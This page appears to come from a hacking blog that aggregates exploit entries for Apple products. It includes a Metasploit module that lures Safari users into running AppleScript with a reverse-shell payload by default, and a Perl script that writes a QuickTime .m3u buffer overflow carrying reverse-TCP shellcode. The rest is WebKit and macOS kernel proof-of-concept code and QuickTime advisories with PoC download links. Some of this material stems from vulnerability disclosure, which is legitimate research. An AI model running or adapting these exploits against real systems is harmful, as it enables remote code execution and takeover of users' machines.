Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863112321

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::BrowserExploitServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Safari User-Assisted Applescript Exec Attack',
      'Description'    => %q{
        In versions of Mac OS X before 10.11.1, the applescript:// URL
        scheme is provided, which opens the provided script in the Applescript
        Editor. Pressing cmd-R in the Editor executes the code without any
        additional confirmation from the user. By getting the user to press
        cmd-R in Safari, and by hooking the cmd-key keypress event, a user
        can be tricked into running arbitrary Applescript code.

        Gatekeeper should be disabled from Security & Privacy in order to
        avoid the unidentified Developer prompt.
      },
      'License'         => MSF_LICENSE,
      'Arch'            => ARCH_CMD,
      'Platform'        => ['unix', 'osx'],
      'Compat'          =>
        {
          'PayloadType' => 'cmd'
        },
      'Targets'         =>
        [
          [ 'Mac OS X', {} ]
        ],
      'DefaultOptions' => { 'payload' => 'cmd/unix/reverse_python' },
      'DefaultTarget'   => 0,
      'DisclosureDate'  => 'Oct 16 2015',
      'Author'          => [ 'joev' ],
      'References'     =>
        [
          [ 'CVE', '2015-7007' ],
          [ 'URL', 'https://support.apple.com/en-us/HT205375' ]
        ],
      'BrowserRequirements' => {
        :source  => 'script',
        :ua_name => HttpClients::SAFARI,
        :os_name => OperatingSystems::Match::MAC_OSX
      }
    ))

    register_options([
      OptString.new('CONTENT', [false, "Content to display in browser",
        "This page has failed to load. Press cmd-R to refresh."]),
      OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
    ], self.class)
  end

  def on_request_exploit(cli, request, profile)
    print_status("Sending #{self.name}")
    send_response_html(cli, exploit_html)
  end

  def exploit_html
    "<!doctype html><html><body>#{content}<script>#{exploit_js}</script></body></html>"
  end

  def exploit_js
    js_obfuscate %Q|
      var as = Array(150).join("\\n") +
        'do shell script "echo #{Rex::Text.encode_base64(sh)} \| base64 --decode \| /bin/sh"';
      var url = 'applescript://com.apple.scripteditor?action=new&script='+encodeURIComponent(as);
      window.onkeydown = function(e) {
        if (e.keyCode == 91) {
          window.location = url;
        }
      };
    |
  end

  def sh
    'killall "Script Editor"; nohup ' + payload.encoded
  end

  def content
    datastore['CONTENT']
  end


end
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1033

There is an out-of-bounds read when reading the bound arguments array of a bound function. When Function.bind is called, the arguments to the call are transferred to an Array before they are passed to JSBoundFunction::JSBoundFunction. Since it is possible that the Array prototype has had a setter added to it, it is possible for user script to obtain a reference to this Array, and alter it so that the length is longer than the backing native butterfly array. Then when boundFunctionCall attempts to copy this array to the call parameters, it assumes the length is not longer than the allocated array (which would be true if it wasn't altered), and reads out of bounds.

This is likely exploitable, because the read values are treated as JSValues, so this issue can allow type confusion if the attacker controls any of the unallocated values that are read.

This issue is only in WebKit trunk and Safari preview, it hasn't made it to regular Safari releases yet.


A minimal PoC is as follows, and a full PoC is attached.


var ba;

function s(){
	ba = this;
}


function dummy(){
	alert("just a function");
}


Object.defineProperty(Array.prototype, "0", {set : s });
var f = dummy.bind({}, 1, 2, 3, 4);
ba.length = 100000;
f(1, 2, 3);
-->

<html>
<body>
<script>

var ba;

function s(){
	alert("in s");
	ba = this;
}


function g(){
	alert("in g");
	return 7;
}


function dummy(){
	alert("just a function");
}

alert("start");

try{
Object.defineProperty(Array.prototype, "0", {set : s, get : g});
var f = dummy.bind({}, 1, 2, 3, 4);
alert("ba" + ba);
ba.length = 100000;
f(1, 2, 3);
}catch(e){

	alert(e.message);

}

</script>
</body>
</html>
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1032

If a builtin script in webkit is in strict mode, but then calls a function that is not strict, this function is allowed to call Function.caller and can obtain a reference to the strict function. This is inconsistent with the behavior when executing non-builtin scripts in Safari, and the behavior in other browsers, where having a single strict function on the call stack forbids calls to Function.caller up to and including the first call to a strict function. This difference allows several sensitive native functions, such as arrayProtoPrivateFuncAppendMemcpy to be called directly, without the JavaScript wrappers that provide type and length checks.

A minimal example of this issue is as follows, and a full example is attached.

var q;
function g(){
	q = g.caller;
	return 7;
}


var a = [1, 2, 3];
a.length = 4;
Object.defineProperty(Array.prototype, "3", {get : g});
[4, 5, 6].concat(a);
q(0x77777777, 0x77777777, 0);


I strongly recommend this issue be fixed by changing the behaviour of Function.caller in strict mode, versus making changes to the natives, as it likely causes many similar problems 
-->

<html>
<body>
<script>

var q;
function g(){
	//print("in g");
	//print(arguments.caller);
	//print(g.caller);
	q = g.caller;
	//print(g.caller);
	return 7;

}

var a = [1, 2, 3];

Object.defineProperty( Array.prototype, "1", { get : g} );


var a = [1, 2, 3];
a.length = 4;
Object.defineProperty(Array.prototype, "3", {get : g});

[4, 5, 6].concat(a);
alert(q);
q(0x7777, 0x7777, 0);

</script>
</body>
</html>
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1095

There is an out-of-bounds memcpy in Array.concat that can lead to memory corruption.

In builtins/ArrayPrototype.js, the function concatSlowPath calls a native method @appendMemcpy with a parameter resultIndex that is handled unsafely by the method. It calls JSArray::appendMemcpy, which calculates the memory size for the combined arrays as follows:

unsigned newLength = startIndex + otherLength;

If startIndex (resultIndex from concatSlowPath in JS) is very large, an integer overflow can occur, causing too small a buffer to be allocated, and copying to occur outside of the buffer.

It should be difficult to reach this state without a long execution time, because an array of length resultIndex needs to be allocated and copied before resultIndex is incremented, however if both arrays involved in the concatenation are of type ArrayWithUndecided JSArray::appendMemcpy returns true without copying, and resultIndex can be incremented with a low execution time.

Arrays of type ArrayWithUndecided are usually of length 0, however, it is possible to create one by calling Array.splice on an array with all undefined elements. This will cause an undefined Array of the delete length to be allocated, and then returned without it being written to, which would cause it to decide its type.

A minimal PoC is as follows, and a full PoC is attached.

var a = [];
a.length = 0xffffff00;

var b = a.splice(0, 0x100000); // Undecided array

var args = [];
args.length = 4094;
args.fill(b);

var q = [];
q.length = 0x1000;
q.fill(7);

var c = a.splice(0, 0xfffef); //Shorter undecided array

args[4094] = c;
args[4095] = q;


b.concat.apply(b, args);
-->

<html>
<body>
<script>

var a = [];
a.length = 0xffffff00;

var b = a.splice(0, 0x100000); // Undecided array

var args = [];
args.length = 4094;
args.fill(b);

var q = [];
q.length = 0x1000;
q.fill(7);

var c = a.splice(0, 0xfffef); //Shorter undecided array

args[4094] = c;
args[4095] = q;


b.concat.apply(b, args);

</script>
</body>
</html>
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1036

There is a type confusion vulnerability when calling DateTimeFormat.format. This function is provided as a bound function by a getter in the DateTimeFormat class. Binding the function ensures that the this object is of the right type. However, when the bound function is called, it calls into user script when converting the date parameter, which can call Function.caller, obtaining the unbound function. This type unsafe function can then be called on any type.

A minimal PoC is as follows, and a full PoC is attached. 


var i = new Intl.DateTimeFormat();
var q;

function f(){
	q = f.caller;
	return 10;
}


i.format({valueOf : f});

q.call(0x77777777);
-->

<html>
<body>
<script>

var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));

var i = new Intl.DateTimeFormat();

//print(i);

var q;

function f(){

	//print("in f");
	//print(f.caller);
	q = f.caller;
	return 10;
}

try{
i.format({valueOf : f});
}catch(e){

	//print("problem");

}

//print(q);
q.call(0x77777777);

</script>
</body>
</html>
            
source: https://www.securityfocus.com/bid/49465/info

Apple QuickTime is prone to a buffer-overflow vulnerability because of a failure to properly bounds-check user-supplied data.

Successful exploits will allow attackers to execute arbitrary code in the context of the currently logged-in user; failed exploit attempts may cause denial-of-service conditions.

QuickTime 7.6.9 is vulnerable; other versions may also be affected. 

<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:0F5B08E7-94EE-470B-A184-5CD4A7DF35A3' id='target' />
<script language='vbscript'>
targetFile = "C:\Program Files\QuickTime\QuickTimePlayer.dll"
prototype  = "Sub OpenURL ( ByVal url As String )"
memberName = "OpenURL"progid     = "QuickTimePlayerLib.QuickTimePlayer"
argCount   = 1
arg1="%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n"
target.OpenURL arg1
</script>
</job>
</package>
            
source: https://www.securityfocus.com/bid/46799/info

Apple QuickTime is prone to a stack-based buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

An attacker can exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely result in denial-of-service conditions.

QuickTime 7.5.x is vulnerable; other versions may also be affected. 

#!/usr/bin/perl

###
# Title : QuickTime Player v 7.5.x (m3u) Stack Buffer Overflow
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com
# Home : HMD/AM (30008/04300) - Algeria -(00213555248701)
# Twitter page : twitter.com/kedans
# platform : Windows
# Impact : Remote Access and BOF
# Tested on : Windows XP SP3 Français 
# Target :  QuickTime Player v 7.5.x
###
# Note : BAC 2011 Enchallah ( Me & BadR0 & Dr.Ride & Red1One & XoreR & Fox-Dz ... all )
# ------------
#START SYSTEM /root@MSdos/ : 
system("title KedAns-Dz");
system("color 1e");
system("cls");
print "\n\n";
print "    |===========================================================|\n";
print "    |= [!] Name : QuickTime Player v 7.5.x (m3u) / Apple Inc.  =|\n";
print "    |= [!] Exploit : Stack Buffer Overflow                     =|\n";
print "    |= [!] Author : KedAns-Dz                                  =|\n";
print "    |= [!] Mail: Ked-h(at)hotmail(dot)com                      =|\n";
print "    |===========================================================|\n";
sleep(2);
print "\n";
print " [!] Please Wait Loading...\n";
# Payload Parameter (http://www.metasploit.com) 
# windows/shell_reverse_tcp - 739 bytes
# Encoder: x86/alpha_mixed
# LHOST=127.0.0.1, LPORT=4444, ReverseConnectRetries=5, =>
my $payload = 
"\x56\x54\x58\x36\x33\x30\x56\x58\x48\x34\x39\x48\x48\x48" .
"\x50\x68\x59\x41\x41\x51\x68\x5a\x59\x59\x59\x59\x41\x41" .
"\x51\x51\x44\x44\x44\x64\x33\x36\x46\x46\x46\x46\x54\x58" .
"\x56\x6a\x30\x50\x50\x54\x55\x50\x50\x61\x33\x30\x31\x30" .
"\x38\x39\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41" .
"\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42" .
"\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b\x4c\x4d" .
"\x38\x4e\x69\x47\x70\x43\x30\x45\x50\x45\x30\x4d\x59\x4a" .
"\x45\x45\x61\x48\x52\x43\x54\x4e\x6b\x50\x52\x50\x30\x4c" .
"\x4b\x51\x42\x46\x6c\x4e\x6b\x46\x32\x46\x74\x4c\x4b\x50" .
"\x72\x46\x48\x46\x6f\x4f\x47\x43\x7a\x51\x36\x46\x51\x49" .
"\x6f\x46\x51\x4f\x30\x4e\x4c\x47\x4c\x43\x51\x43\x4c\x43" .
"\x32\x44\x6c\x47\x50\x4f\x31\x48\x4f\x46\x6d\x43\x31\x49" .
"\x57\x48\x62\x4c\x30\x51\x42\x42\x77\x4c\x4b\x50\x52\x42" .
"\x30\x4c\x4b\x43\x72\x45\x6c\x46\x61\x4a\x70\x4c\x4b\x43" .
"\x70\x43\x48\x4e\x65\x4b\x70\x42\x54\x50\x4a\x45\x51\x48" .
"\x50\x46\x30\x4e\x6b\x50\x48\x45\x48\x4e\x6b\x51\x48\x51" .
"\x30\x45\x51\x48\x53\x48\x63\x47\x4c\x43\x79\x4e\x6b\x47" .
"\x44\x4e\x6b\x46\x61\x4b\x66\x50\x31\x4b\x4f\x44\x71\x4f" .
"\x30\x4e\x4c\x49\x51\x4a\x6f\x46\x6d\x46\x61\x4f\x37\x46" .
"\x58\x4d\x30\x42\x55\x4a\x54\x46\x63\x43\x4d\x4c\x38\x47" .
"\x4b\x51\x6d\x44\x64\x44\x35\x49\x72\x43\x68\x4c\x4b\x50" .
"\x58\x45\x74\x47\x71\x48\x53\x51\x76\x4e\x6b\x46\x6c\x42" .
"\x6b\x4c\x4b\x42\x78\x47\x6c\x45\x51\x48\x53\x4e\x6b\x45" .
"\x54\x4c\x4b\x47\x71\x48\x50\x4f\x79\x42\x64\x44\x64\x47" .
"\x54\x51\x4b\x51\x4b\x43\x51\x50\x59\x43\x6a\x46\x31\x4b" .
"\x4f\x4d\x30\x50\x58\x43\x6f\x43\x6a\x4c\x4b\x45\x42\x48" .
"\x6b\x4e\x66\x43\x6d\x42\x48\x50\x33\x44\x72\x45\x50\x43" .
"\x30\x51\x78\x42\x57\x42\x53\x46\x52\x43\x6f\x50\x54\x43" .
"\x58\x42\x6c\x44\x37\x44\x66\x45\x57\x49\x6f\x48\x55\x48" .
"\x38\x4c\x50\x47\x71\x45\x50\x47\x70\x47\x59\x4b\x74\x51" .
"\x44\x42\x70\x42\x48\x44\x69\x4d\x50\x42\x4b\x43\x30\x49" .
"\x6f\x48\x55\x50\x50\x42\x70\x50\x50\x42\x70\x47\x30\x42" .
"\x70\x43\x70\x50\x50\x43\x58\x48\x6a\x44\x4f\x49\x4f\x4d" .
"\x30\x49\x6f\x4b\x65\x4e\x69\x48\x47\x42\x48\x43\x4f\x45" .
"\x50\x43\x30\x47\x71\x43\x58\x43\x32\x45\x50\x44\x51\x43" .
"\x6c\x4e\x69\x4a\x46\x51\x7a\x42\x30\x51\x46\x43\x67\x42" .
"\x48\x4d\x49\x4e\x45\x51\x64\x51\x71\x49\x6f\x4e\x35\x50" .
"\x68\x42\x43\x42\x4d\x42\x44\x47\x70\x4c\x49\x48\x63\x51" .
"\x47\x51\x47\x51\x47\x50\x31\x4b\x46\x51\x7a\x47\x62\x51" .
"\x49\x50\x56\x4d\x32\x49\x6d\x50\x66\x4f\x37\x42\x64\x46" .
"\x44\x45\x6c\x47\x71\x43\x31\x4c\x4d\x50\x44\x51\x34\x42" .
"\x30\x4a\x66\x43\x30\x43\x74\x50\x54\x42\x70\x43\x66\x43" .
"\x66\x51\x46\x47\x36\x46\x36\x42\x6e\x50\x56\x46\x36\x42" .
"\x73\x43\x66\x50\x68\x44\x39\x48\x4c\x47\x4f\x4b\x36\x4b" .
"\x4f\x48\x55\x4c\x49\x4b\x50\x50\x4e\x42\x76\x43\x76\x49" .
"\x6f\x50\x30\x42\x48\x43\x38\x4c\x47\x47\x6d\x43\x50\x49" .
"\x6f\x4e\x35\x4f\x4b\x4a\x50\x4d\x65\x4d\x72\x51\x46\x51" .
"\x78\x4d\x76\x4e\x75\x4f\x4d\x4d\x4d\x4b\x4f\x48\x55\x47" .
"\x4c\x46\x66\x43\x4c\x45\x5a\x4b\x30\x49\x6b\x49\x70\x43" .
"\x45\x45\x55\x4d\x6b\x51\x57\x44\x53\x43\x42\x42\x4f\x51" .
"\x7a\x47\x70\x46\x33\x4b\x4f\x49\x45\x41\x41"; #_ End Payload _
# Parameter OverFlow => 
my $eip = pack('V',0x7C86467B); # Jump ESP from kernel32.dll
my $usmh = "\x90" x (50 - length($eip)); # Pack Length x 50
my $ret = pack('V',0x040904b0); # Jump to ESP from QTOControl.dll
$junk = "\x41" x 333 ; # Junk
# immiXing Parameters >>>
$kedans = $junk.$usmh.$ret.$payload ; # Evil KedAns
# >> Creating ... 
open (FILE ,"> Bo0M.m3u");
print FILE $kedans ;
print "\nFile successfully created!\n" or die print "\n OpsS! File is Not Created !! ";
close (FILE);
#================[ Exploited By KedAns-Dz * HST-Dz * ]=========================
# GreetZ to : Islampard * Dr.Ride * Zaki.Eng * BadR0 * NoRo FouinY * Red1One
# XoreR * Mr.Dak007 * Hani * TOnyXED * Fox-Dz * Massinhou-Dz ++ all my friends ;
# > Algerians <  [D] HaCkerS-StreeT-Team [Z] > Hackers <
# My Friends on Facebook : Nayla Festa * Dz_GadlOl * MatmouR13 ...all Others
# 4nahdha.com : TitO (Dr.Ride) *  MEN_dz * Mr.LAK (Administrator) * all members ...
# sec4ever.com members Dz : =>>
#  Ma3sTr0-Dz * Indoushka * MadjiX * BrOx-Dz * JaGo-Dz ... all Others
# hotturks.org : TeX * KadaVra ... all Others
# Kelvin.Xgr ( kelvinx.net)
#===========================================================================
            
#####################################################################################

Application: Apple Quicktime

Platforms: Windows, OSX

Versions: before version 7.7.79.80.95

Author: Francis Provencher of COSIG

Website: http://www.protekresearchlab.com/

Twitter: @COSIG_ @protekresearch

CVE-2016-1769

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

QuickTime is an extensible multimedia framework developed by Apple Inc., capable of handling various formats of digital video, picture, sound, panoramic images, and interactivity. The classic version of QuickTime is available for Windows Vista and later, as well as Mac OS X Leopard and later operating systems. A more recent version, QuickTime X, is currently available on Mac OS X Snow Leopard and newer.

(https://en.wikipedia.org/wiki/QuickTime)

#####################################################################################

============================
2) Report Timeline
============================

2016-01-07: Francis Provencher from COSIG report issue to Apple security team;
2016-01-13: Apple security team  confirmed this issue;
2016-03-22: Apple fixed this issue;

https://support.apple.com/en-us/HT206167
#####################################################################################

============================
3) Technical details
============================

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Apple QuickTime.
User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

By providing a malformed PSD file, an attacker is able to create an out of bound read condition and execute code in the context of the current user or may allow access to sensitive memory space.

#####################################################################################

===========

4) POC

===========

http://protekresearchlab.com/exploits/COSIG-2016-16.psd
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39635.zip

###############################################################################
            
#####################################################################################

Application: Apple Quicktime

Platforms: Windows, OSX

Versions: before version 7.7.79.80.95

Author: Francis Provencher of COSIG

Website: http://www.protekresearchlab.com/

Twitter: @COSIG_ @protekresearch

CVE-2016-1768

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

QuickTime is an extensible multimedia framework developed by Apple Inc., capable of handling various formats of digital video, picture, sound, panoramic images, and interactivity. The classic version of QuickTime is available for Windows Vista and later, as well as Mac OS X Leopard and later operating systems. A more recent version, QuickTime X, is currently available on Mac OS X Snow Leopard and newer.

(https://en.wikipedia.org/wiki/QuickTime)

#####################################################################################

============================
2) Report Timeline
============================

2016-01-07: Francis Provencher from COSIG report issue to Apple security team;
2016-01-13: Apple security team  confirmed this issue;
2016-03-22: Apple fixed this issue;

https://support.apple.com/en-us/HT206167
#####################################################################################

============================
3) Technical details
============================

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Apple QuickTime.
User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

By providing a malformed FPX file, an attacker is able to create controlled memory corruption, and execute code in the context of the current user.

#####################################################################################

===========

4) POC

===========

http://protekresearchlab.com/exploits/COSIG-2016-15.fpx
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39634.zip

###############################################################################
            
#####################################################################################

Application: Apple Quicktime

Platforms: Windows, OSX

Versions: before version 7.7.79.80.95

Author: Francis Provencher of COSIG

Website: http://www.protekresearchlab.com/

Twitter: @COSIG_ @protekresearch

CVE-2016-1767

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

QuickTime is an extensible multimedia framework developed by Apple Inc., capable of handling various formats of digital video, picture, sound, panoramic images, and interactivity. The classic version of QuickTime is available for Windows Vista and later, as well as Mac OS X Leopard and later operating systems. A more recent version, QuickTime X, is currently available on Mac OS X Snow Leopard and newer.

(https://en.wikipedia.org/wiki/QuickTime)

#####################################################################################

============================
2) Report Timeline
============================

2016-01-07: Francis Provencher from COSIG report issue to Apple security team;
2016-01-13: Apple security team  confirmed this issue;
2016-03-22: Apple fixed this issue;

https://support.apple.com/en-us/HT206167
#####################################################################################

============================
3) Technical details
============================

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Apple QuickTime.
User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

By providing a malformed FPX file, an attacker is able to create controlled memory corruption, and execute code in the context of the current user.

#####################################################################################

===========

4) POC

===========

Proof of Concept:
http://protekresearchlab.com/exploits/COSIG-2016-14.fpx
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39633.zip

###############################################################################
            
#####################################################################################

Application: Apple Quicktime

Platforms: OSX

Author: Francis Provencher of COSIG

Website: http://www.protekresearchlab.com/

Twitter: @COSIG_ @protekresearch

CVE-2016-1848

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

QuickTime is an extensible multimedia framework developed by Apple Inc., capable of handling various formats of digital video, picture, sound, panoramic images, and interactivity. The classic version of QuickTime is available for Windows Vista and later, as well as Mac OS X Leopard and later operating systems. A more recent version, QuickTime X, is currently available on Mac OS X Snow Leopard and newer.

(https://en.wikipedia.org/wiki/QuickTime)

#####################################################################################

============================
2) Report Timeline
============================

2016-03-14: Francis Provencher from COSIG report issue to Apple security team;
2016-03-21: Apple security team  confirmed this issue;
2016-05-17: Apple fixed this issue;

https://support.apple.com/en-us/HT206567
#####################################################################################

============================
3) Technical details
============================

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Apple QuickTime.

User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

The specific flaw exists within the parsing of invalid data in the mdat atom. An attacker can use this flaw to read outside the

allocated buffer, which could allow for the execution of arbitrary code in the context of the current process.

#####################################################################################

===========

4) POC

===========

http://protekresearchlab.com/exploits/COSIG-2016-19.mov
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39839.zip

###############################################################################
            
Source: https://code.google.com/p/google-security-research/issues/detail?id=467

There is a heap overflow in daeElement::setElementName(). The 
vulnerable method uses a fixed size (128 bytes) heap-allocated buffer to 
copy the name of an arbitrary element. By setting the name of the element
to something larger the buffer is overflown.

The vulnerable code does something like this:
if (element_name) {
  if (!this->name) {
    this->name = new char[128];
  }
  strcpy(this->name, element_name);
}

The element_name is supplied by the user and can be more than 128
characters long.

Steps to reproduce (Note: you need to enable libgmalloc):
a) $ lldb
b) (lldb) target create /usr/bin/qlmanage
   Current executable set to '/usr/bin/qlmanage' (x86_64).
c) (lldb) env DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib
d) (lldb) process launch -- -p setElementNameOOB.dae
    Process 4460 stopped
    * thread #3: tid = 0x5fdc, 0x00007fff92fbf108 libsystem_c.dylib`strcpy + 104, queue = 'com.apple.root.default-qos', stop reason = EXC_BAD_ACCESS (code=1, address=0x123445409000)
        frame #0: 0x00007fff92fbf108 libsystem_c.dylib`strcpy + 104
    libsystem_c.dylib`strcpy:
    ->  0x7fff92fbf108 <+104>: movdqu xmmword ptr [rdi + rcx + 0x10], xmm1
        0x7fff92fbf10e <+110>: add    rcx, 0x10
        0x7fff92fbf112 <+114>: movdqa xmm1, xmmword ptr [rsi + rcx + 0x10]
        0x7fff92fbf118 <+120>: pxor   xmm0, xmm0
e) (lldb) bt
    * thread #3: tid = 0x5fdc, 0x00007fff92fbf108 libsystem_c.dylib`strcpy + 104, queue = 'com.apple.root.default-qos', stop reason = EXC_BAD_ACCESS (code=1, address=0x123445409000)
      * frame #0: 0x00007fff92fbf108 libsystem_c.dylib`strcpy + 104
        frame #1: 0x0000000137c4eb4f SceneKit`daeMetaElement::create(char const*) + 199
        frame #2: 0x0000000137c4bf80 SceneKit`daeIOPluginCommon::beginReadElement(daeElement*, char const*, std::__1::vector<std::__1::pair<char const*, char const*>, std::__1::allocator<std::__1::pair<char const*, char const*> > > const&, int) + 80
        frame #3: 0x0000000137c5aaf3 SceneKit`daeLIBXMLPlugin::readElement(_xmlTextReader*, daeElement*, int&) + 369
        frame #4: 0x0000000137c5ac51 SceneKit`daeLIBXMLPlugin::readElement(_xmlTextReader*, daeElement*, int&) + 719
        frame #5: 0x0000000137c5ac51 SceneKit`daeLIBXMLPlugin::readElement(_xmlTextReader*, daeElement*, int&) + 719
        frame #6: 0x0000000137c5ac51 SceneKit`daeLIBXMLPlugin::readElement(_xmlTextReader*, daeElement*, int&) + 719
        frame #7: 0x0000000137c5ac51 SceneKit`daeLIBXMLPlugin::readElement(_xmlTextReader*, daeElement*, int&) + 719
        frame #8: 0x0000000137c5a8cf SceneKit`daeLIBXMLPlugin::read(_xmlTextReader*) + 109
        frame #9: 0x0000000137c5a914 SceneKit`daeLIBXMLPlugin::readFromMemory(char const*, daeURI const&) + 54
        frame #10: 0x0000000137c4bd1d SceneKit`daeIOPluginCommon::read(daeURI const&, char const*) + 167
    frame #11: 0x0000000137c3eb77 SceneKit`DAE::openCommon(daeURI const&, char const*) + 55

This bug has been tested on:
$ sw_vers 
ProductName:  Mac OS X
ProductVersion: 10.10.3
BuildVersion: 14D136

$ qlmanage --version
QuickLook framework: v5.0 (675.42)

Attached are two files:
1) setElementNameOOB.dae - the POC dae file.
2) setElementNameOOB_dae.crashlog.txt - the CrashWrangler log.

Attack vector:
This bug can be triggered by any application that uses the QuickLook framework to generate a preview/thumbnail of DAE (COLLADA) files. For example, loading the supplied POC in Preview or selecting the file in Finder and hitting <space> will trigger the bug.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38264.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=831

IOSurfaceRootUserClient stores a task struct pointer (passed in via IOServiceOpen) in the field at +0xf0 without taking a reference.

By killing the corrisponding task we can free this pointer leaving the user client with a dangling pointer. We can get this pointer used
by calling the create_surface_fast_path external method which will try to read and use the memory map off of the free'd task struct.

This bug could be leveraged for kernel memory corruption and is reachable from interesting sandboxes including safari and chrome.

build: clang -o surfaceroot_uaf surfaceroot_uaf.c -framework IOKit

You should set gzalloc_min=1024 gzalloc_max=2048 or similar to actually fault on the UaF - otherwise you might see some weird panics!

tested on OS X 10.11.5 (15F34) on MacBookAir5,2

#####################################

another PoC for "task_t considered harmful"
since 10.11.6 blocks us from creating userclients with other task's task ports
this time we create an IOSurface in the child and send back a send right to that
IOSurface to the parent (rather than sending the child's task port.)

The child then execs a suid-root binary which blocks on stderr and the parent
creates an IOSurface which maps any (writable?) page of the euid-0 process into theirs.
Overwrite a function pointer and win.

No race conditions because the task struct pointer is on the kernel heap, not the stack.


Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40653.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=882

mach_ports_register is a kernel task port MIG method.

It's defined in MIG like this:

  routine mach_ports_register(
      target_task : task_t;
      init_port_set : mach_port_array_t =
            ^array[] of mach_port_t);

Looking at the generated code for this we notice something kinda weird; here's the mach message structure
which actually gets sent:

  typedef struct {
    mach_msg_header_t Head;
    // start of the kernel processed data
    mach_msg_body_t msgh_body;
    mach_msg_ool_ports_descriptor_t init_port_set;
    // end of the kernel processed data
    NDR_record_t NDR;
    mach_msg_type_number_t init_port_setCnt;
  } Request __attribute__((unused));

The message contains an OOL ports descriptor, which is expected, but also contains a separate init_port_setCnt value
even though the ool_ports_descriptor_t already has the correct length of the descriptor.

When the kernel process this ool ports descriptor in ipc_kmsg_copyin_ool_ports_descriptor it will kalloc a buffer large enough
for all the ports and then copyin and convert them all. It does this using the init_port_set.count value, not init_port_setCnt.

The generated MIG code however calls mach_ports_register like this:

  OutP->RetCode = mach_ports_register(target_task, (mach_port_array_t)(In0P->init_port_set.address), In0P->init_port_setCnt);

without verifying that In0P->init_port_setCnt is equal to init_port_set.count.

This means that when we reach mach_ports_register lots of stuff goes wrong:

  kern_return_t
  mach_ports_register(
    task_t      task,
    mach_port_array_t memory,                       <-- points to kalloc'ed buffer
    mach_msg_type_number_t  portsCnt)               <-- completely controlled, not related to size of kalloc'ed buffer
  {
    ipc_port_t ports[TASK_PORT_REGISTER_MAX];
    unsigned int i;

    if ((task == TASK_NULL) ||
        (portsCnt > TASK_PORT_REGISTER_MAX) ||
        (portsCnt && memory == NULL))
      return KERN_INVALID_ARGUMENT;                 <-- portsCnt must be >=1 && <= 3

    for (i = 0; i < portsCnt; i++)
      ports[i] = memory[i];                         <-- if we only sent one OOL port but set portsCnt >1 this will read a mach_port_t (a pointer) out of bounds
    for (; i < TASK_PORT_REGISTER_MAX; i++)
      ports[i] = IP_NULL;

    itk_lock(task);
    if (task->itk_self == IP_NULL) {
      itk_unlock(task);
      return KERN_INVALID_ARGUMENT;
    }

    for (i = 0; i < TASK_PORT_REGISTER_MAX; i++) {
      ipc_port_t old;

      old = task->itk_registered[i];
      task->itk_registered[i] = ports[i];
      ports[i] = old;
    }

    itk_unlock(task);

    for (i = 0; i < TASK_PORT_REGISTER_MAX; i++)
      if (IP_VALID(ports[i]))
        ipc_port_release_send(ports[i]);           <-- this can decrement the ref on a pointer which was read out of bounds if we call this function multiple times

    if (portsCnt != 0)
      kfree(memory,
            (vm_size_t) (portsCnt * sizeof(mach_port_t)));   <-- this can call kfree with the wrong size

    return KERN_SUCCESS;
  }

For this PoC I've patched the MIG generated code to always only send one OOL mach port but still set init_port_setCnt to a controlled value - you should see a kernel
panic decrementing an invalid reference or something like that.

This bug however could be exploited quite nicely to cause a mach_port_t UaF which could have all kinds of fun consequences (getting another task's task port for example!)

